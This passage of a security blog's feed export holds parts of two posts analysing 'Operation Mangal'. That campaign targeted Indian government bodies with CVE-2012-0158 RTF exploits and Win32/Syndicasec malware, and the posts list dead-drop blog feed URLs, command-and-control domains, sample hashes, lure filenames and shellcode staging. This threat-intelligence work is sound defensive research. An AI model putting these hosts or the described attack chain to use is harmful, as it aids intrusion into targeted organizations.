hxxp://kumar807.wordpress.com/feed/&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://kumar807.livejournal.com/data/rss&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://blogs.rediff.com/kumar807/feed/&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://kumar807.thoughts.com/feed&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://kumar807.tumblr.com/rss&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://www.blogster.com/kapoorsunil09/profile/rss&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://kumarsingh1976.wordpress.com/feed/&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
hxxp://musictelevision.blogspot.com/feeds/posts/default&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Next we see the format of the encoded Stage 2 URL found on the fake blog. Note that the URL is within the&amp;nbsp;the &quot;title&quot; tag with the “@” delimiter:&lt;title&gt; tag with the “@” delimiter:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
 &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/title&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXlikld32IQqSetMoMFcHTNfXoJJAakbtTLqOTPg3Hjkcr6rc3XdJtr8qCFV6A34u-tqEFhqudCdkLZDIex9GSETuJihiGfueEuhQKP7DDxOjw_0qJxmMkCAgFJfBYqMzMWL1AvMbO65U/s1600/traffic.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXlikld32IQqSetMoMFcHTNfXoJJAakbtTLqOTPg3Hjkcr6rc3XdJtr8qCFV6A34u-tqEFhqudCdkLZDIex9GSETuJihiGfueEuhQKP7DDxOjw_0qJxmMkCAgFJfBYqMzMWL1AvMbO65U/s1600/traffic.png&quot; height=&quot;81&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Encoded stage 2 URLs ( Command and Control servers ) found on the fake blog sites.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVYQGUAGzL9sVUctdyzhIQ1r7qjFuAoza5croEunpc4TTEJYUdUUW5MkZYoYhONZl5mvgL5f33Gl0TqjzxJPbPbo6y8ZF4teUdlqXN2mPsfbpYR3UjD3VEZAtr0eFC7KFUZ05fM1_DZyw/s1600/command4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVYQGUAGzL9sVUctdyzhIQ1r7qjFuAoza5croEunpc4TTEJYUdUUW5MkZYoYhONZl5mvgL5f33Gl0TqjzxJPbPbo6y8ZF4teUdlqXN2mPsfbpYR3UjD3VEZAtr0eFC7KFUZ05fM1_DZyw/s1600/command4.png&quot; height=&quot;122&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZn5umQXJlypXtl-2bs4RRwkcJplM6Uli-cesNDuR1xvU2ti_WYJR3dOs_-w9hwOGJQWHuX3J0KqkmiApD04L4M0AjG-ASJzGgsHjG6-dWt8bYDnqywwqj8B_LuXPtLcSiVrTsU8LFfDs/s1600/command-2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZn5umQXJlypXtl-2bs4RRwkcJplM6Uli-cesNDuR1xvU2ti_WYJR3dOs_-w9hwOGJQWHuX3J0KqkmiApD04L4M0AjG-ASJzGgsHjG6-dWt8bYDnqywwqj8B_LuXPtLcSiVrTsU8LFfDs/s1600/command-2.png&quot; height=&quot;130&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirDBw738VfBlteuxLwnVnZI8PtW1zpwDRlvv-h9BepdSrlWdZVrsRO6N6X-eIuX3-KMt-_Jv7BweF1KGonBZhEjdoB4OEwXpzO53RFn4F0JTD3nNvSqiuKlNy-D83Gv9fKo2NUPNDcIkI/s1600/command-3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirDBw738VfBlteuxLwnVnZI8PtW1zpwDRlvv-h9BepdSrlWdZVrsRO6N6X-eIuX3-KMt-_Jv7BweF1KGonBZhEjdoB4OEwXpzO53RFn4F0JTD3nNvSqiuKlNy-D83Gv9fKo2NUPNDcIkI/s1600/command-3.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the response is received, the &quot;title&quot; tag is parsed out of the response and the decoding function in the JavaScript is applied to expose the control servers. Decoding algorithm has remained same in the previous versions of the javascript as well.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMEh1zs2_hPK4DxxQsZzt22I3Cf8lqCVeefL5qY4aZ9MFdSGeUfqvYXXr6ho0iF6U715TwIdB9j5qo-_uEz32yH27gOKa5SqpHVW65PPx2TZDQ4GLp1QucVWbXlfRQTcDj5d6GPF2KQmQ/s1600/javascript2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMEh1zs2_hPK4DxxQsZzt22I3Cf8lqCVeefL5qY4aZ9MFdSGeUfqvYXXr6ho0iF6U715TwIdB9j5qo-_uEz32yH27gOKa5SqpHVW65PPx2TZDQ4GLp1QucVWbXlfRQTcDj5d6GPF2KQmQ/s1600/javascript2.png&quot; height=&quot;83&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw2qvaIdTdBXN_hyphenhyphenWb26z5SQRhwQqwoYuPpmA1vfMPFUjdKn1MJ6LUi51aqigAHgxA-5Ydzdv7LFX81yN1ZbS6lea-ri9M4waJSrES6P-qJgbfyoEedpAgtNzli2EEwZPvKpm2v7QrMA4/s1600/javascript3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw2qvaIdTdBXN_hyphenhyphenWb26z5SQRhwQqwoYuPpmA1vfMPFUjdKn1MJ6LUi51aqigAHgxA-5Ydzdv7LFX81yN1ZbS6lea-ri9M4waJSrES6P-qJgbfyoEedpAgtNzli2EEwZPvKpm2v7QrMA4/s1600/javascript3.png&quot; height=&quot;191&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below are the stage 2 URLs found to be connected by the variants of the gupdate.exe&lt;br /&gt;
&lt;br /&gt;
www.asiasky.tk&lt;br /&gt;
kumarsingh.tk&lt;br /&gt;
zz13572.0023.jxwb2.com&lt;br /&gt;
hidimovie.tk&lt;br /&gt;
www.pattanasettyraju.org&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMbgU08CDse8NFkb_Ub1APsZfjUgVBN58T-eE8oCS__uDs3zRurAN3xZGMgyMKHEw-dBh_ICnqgKexT4QPxtki04s74S_rVOj_T-21QZRc-gKRf914JVMal3G7PWdnkG_WC3jhY0n7bt8/s1600/traffic2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMbgU08CDse8NFkb_Ub1APsZfjUgVBN58T-eE8oCS__uDs3zRurAN3xZGMgyMKHEw-dBh_ICnqgKexT4QPxtki04s74S_rVOj_T-21QZRc-gKRf914JVMal3G7PWdnkG_WC3jhY0n7bt8/s1600/traffic2.png&quot; height=&quot;151&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The parameters sent in the POST request are formed by executing the WMI queries from the JavaScript. This image shows the functions of this operation:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJQJfPwThhSQyTeJwa1KxVwwaEnsOuicDt3WmES8jsNEA8u49RS0wzCYDKN5uTy0JUTIInJVGTpz6gmN0UYhLL4S-7pvnCGr6WDckS8_CefobapPbguPXrXBQsAlxl3ad9bFQdrngroAM/s1600/javascript4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJQJfPwThhSQyTeJwa1KxVwwaEnsOuicDt3WmES8jsNEA8u49RS0wzCYDKN5uTy0JUTIInJVGTpz6gmN0UYhLL4S-7pvnCGr6WDckS8_CefobapPbguPXrXBQsAlxl3ad9bFQdrngroAM/s1600/javascript4.png&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While the malware executes, all of the control servers are live but with an empty command array. Examining the JavaScript, we see the command decoding is done with the eval() function, which leads us to believe there could be another JavaScript embedded:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7lWqzZ8gCMC6kKMeOiAIzT1a1bA7BcxmibSUWkWPFTNv5agfNgB58sA_gZaVNlcF-CLtVjSQP_c1iTC8ImpW7xgQmKrzPDgnCa8w6ChhHuCf5spLT0fiYbZp6VjRl_92izA05rmfGI5w/s1600/javascript5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7lWqzZ8gCMC6kKMeOiAIzT1a1bA7BcxmibSUWkWPFTNv5agfNgB58sA_gZaVNlcF-CLtVjSQP_c1iTC8ImpW7xgQmKrzPDgnCa8w6ChhHuCf5spLT0fiYbZp6VjRl_92izA05rmfGI5w/s1600/javascript5.png&quot; height=&quot;115&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hashes for the RTF exploits involved in this attack:&lt;br /&gt;
&lt;br /&gt;
598d9b335cec4e3ae6bd87d2c9734a1a&lt;br /&gt;
82440b92ddfccbd9645227c71df04db6&lt;br /&gt;
6b3700048ef7224f1d0efe1b33bab957&lt;br /&gt;
84cef2b4e9cc92533717919aefb55e3e&lt;br /&gt;
57679deaf8b39bbee00ac001c7eede81&lt;br /&gt;
cc3d7699838bcd434a2c3a804c4a196c&lt;br /&gt;
0a81badaf590ad6a9c6bd2f6edbb5f37&lt;br /&gt;
bd95cd9a058a267486ee8dbf44c3a757&lt;br /&gt;
6122d3fb69e9d3d7f93116eb8fbbf1ef&lt;br /&gt;
7772021f3883fd9f0b470387d46ae775&lt;br /&gt;
719db97a61e24b2619759ed054c06308&lt;br /&gt;
b908156a3fed1db5593c2ea730158f91&lt;br /&gt;
c10ffafcc7f44265c7f40d00bdbf5f73&lt;br /&gt;
2ed5a096825b7f7a147441d35ec28f10&lt;br /&gt;
e73ea3c88a89ef3ed2f4f8acacd048eb&lt;br /&gt;
077eaae040cbe7b35e4d2064cb75efe1&lt;br /&gt;
b2dfb6007c385414b6dcbb7a69c1ca2c&lt;br /&gt;
43c872c4b31c9e6de976e198639a390f&lt;br /&gt;
d8ef8fbb9689127b30229659fc091738&lt;br /&gt;
&lt;br /&gt;
I&#39;ve been tracking this threat since quite some time now . I&#39;ll keep posting any interesting updates and details on this campaign as and when I discover ..stay tuned !!..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/12/operation-mangal-win32-syndicasec-used_23.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgpGccGOkTDaLohGTVTt2I7FVKcFfvseLGBux81-syXDBU68JKTUmxDFLPrnqBujWHUmFbvZCRVNsICFsuFxT2FL_A-3J4NUZ-qpj6aG_YYKQoP_6sHPQqkEagttgCUPtHmSbEc8Rq2go/s72-c/trace2.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-7637161403289520373</guid><pubDate>Mon, 01 Dec 2014 07:17:00 +0000</pubDate><atom:updated>2015-12-26T20:39:36.163+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Operation Mangal - Win32 / Syndicasec Used In Targeted Attacks Against Indian Government Organizations - Part-1 : Exploits, Attack Timeline And Targets</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
During the period of last couple of months, we’ve observerd several RTF exploits floating around in the wild, targeting multiple Indian government organizations. Series of RTF exploits , first of which was found to be around by on 21st August 2014 , subsequently, multiple variants of the same exploit has been seen until end of September and through October . Contents of the documents are politically themed , targetting multiple local and overseas Indian government establishments.&lt;br /&gt;
&lt;br /&gt;
Recent political reforms undertaken by the new Indian government, Prime Minister’s visit to Japan and United States as well as meeting with the Chinese president, &lt;a href=&quot;http://www.oneindia.com/feature/why-india-is-pressing-hard-unsc-reforms-explained-1530011.html&quot; target=&quot;_blank&quot;&gt;recent UNSC reforms&lt;/a&gt;&amp;nbsp;and series of the other similar political events has generated quite a movement within the APT actors. I believe this could be a part of a possible campaign, involving a group of APT actors, targeting positive political movements and disrupting the intent of developing and strengthening the bilateral ties with the neighbouring countries and United States.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #b6d7a8;&quot;&gt;I&#39;ve decided to dub this wave of attack as &quot;Operation Mangal&quot; based on the original name of the APT and ISRO&#39;s recent MangalYaan&#39;s success that has distinguished India as a whole from the rest of the world.&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;Vulnerability :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
All the RTF exploits has been found to be exploiting the old and already patched Microsoft Word ActiveX control vulnerability CVE-2012-0158. It has already been used in several targeted campaigns in the past and continues to be popular in ongoing targeted attack campaigns. Exploit laden doc files has been found in the wild with the following filenames:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Modi’s foreign policy agenda.rtf&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ASEAN-India Agreemnet On Investment.doc&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Planning Commission Reform Note FINAL.doc&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;High Speed Railways.doc&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ASEAN-India Comprehensive Brief 2014.doc&lt;/div&gt;
&lt;div&gt;
•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Bilateral.doc&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;Attack vector :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Attack is believed to be carried out via the RTF exploit ( CVE-2012-0158) as an attachment to the possible spear phishing emails targeting Indian organizations. On launching the exploit , it drops the executable with the filename dw20.exe in the %temp% directory following the drop of gupdate.exe at the same location which connects to the multiple C&amp;amp;C in the staged fashion. Following is the high level picture of how the attack works :&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHL_wBs8Smnv51D9eW9Sy3b-BBqqoJzYQK7wZ_XoANOp_sshg-8MsefE3U-OQT3UpKtI8UJrk2IoEohyphenhyphen9hInCXc8uVyUw3DgiIQV1hG6ry__RcSr07l4z2tCzF5HtzGDEGmZxgr4KEPqo/s1600/working+of+the+attack.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;251&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHL_wBs8Smnv51D9eW9Sy3b-BBqqoJzYQK7wZ_XoANOp_sshg-8MsefE3U-OQT3UpKtI8UJrk2IoEohyphenhyphen9hInCXc8uVyUw3DgiIQV1hG6ry__RcSr07l4z2tCzF5HtzGDEGmZxgr4KEPqo/s1600/working+of+the+attack.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Overall working of the attack&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
Below is the visualization of the timeline of this attack over the period of last 3 months :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqkol9zpe_kNp8z9k0zV23Pq9woOY1nu0MxxDB9Qvimx-wNoZtwWmNljJhot0LnMRADyZiFhHCA6m2oycST-bYTYcS_jkpJfCuETkZNvA8ueDKas74z8PvTIx86AsMrp65VDyE83GzznQ/s1600/similarity.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;232&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqkol9zpe_kNp8z9k0zV23Pq9woOY1nu0MxxDB9Qvimx-wNoZtwWmNljJhot0LnMRADyZiFhHCA6m2oycST-bYTYcS_jkpJfCuETkZNvA8ueDKas74z8PvTIx86AsMrp65VDyE83GzznQ/s1600/similarity.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d; font-family: Verdana, sans-serif;&quot;&gt;Exploit Analysis :&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
All the RTF exploits used in this campaign uses the staged shellcode . However , noticing the shellcode in the exploit is fairly straightforward and uses the known technique of resolving the API names from its hashes.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC8IegGUhJB9SDwt7lTZujRbLAuPYsXfesQez39wx30KUt-WpYciG6r1nWVfV7jJ7CsK7qwBGyGmNefPfALD5qwR08eAy1mvQ-cmOI77rCgo7tuw8PuJDY5zE-zn0zzcqlqeAzvJMZC1c/s1600/1st+stage+shellcode.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC8IegGUhJB9SDwt7lTZujRbLAuPYsXfesQez39wx30KUt-WpYciG6r1nWVfV7jJ7CsK7qwBGyGmNefPfALD5qwR08eAy1mvQ-cmOI77rCgo7tuw8PuJDY5zE-zn0zzcqlqeAzvJMZC1c/s1600/1st+stage+shellcode.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjovC8Mx3ZM_CZFPa5drW7tE-IZhUPVy1iWUJjLiKoWacDt4cunEyKfw7XsmHoZ7OypRt_TWSLQE3W3p6MwhdnCk35kC0dWkU2-qK8wI6MnKwrwCjObaQvYshFGoy78jSLcHYsee6_ceWo/s1600/shellcode2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjovC8Mx3ZM_CZFPa5drW7tE-IZhUPVy1iWUJjLiKoWacDt4cunEyKfw7XsmHoZ7OypRt_TWSLQE3W3p6MwhdnCk35kC0dWkU2-qK8wI6MnKwrwCjObaQvYshFGoy78jSLcHYsee6_ceWo/s1600/shellcode2.png&quot; width=&quot;265&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Once the APIs are resolved , it tries to locate itself in the memory by enumerating the file handles and then reads the 1st stage shellcode in the allocated virtual memory which is then used to decrypt the 2nd stage shellcode.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
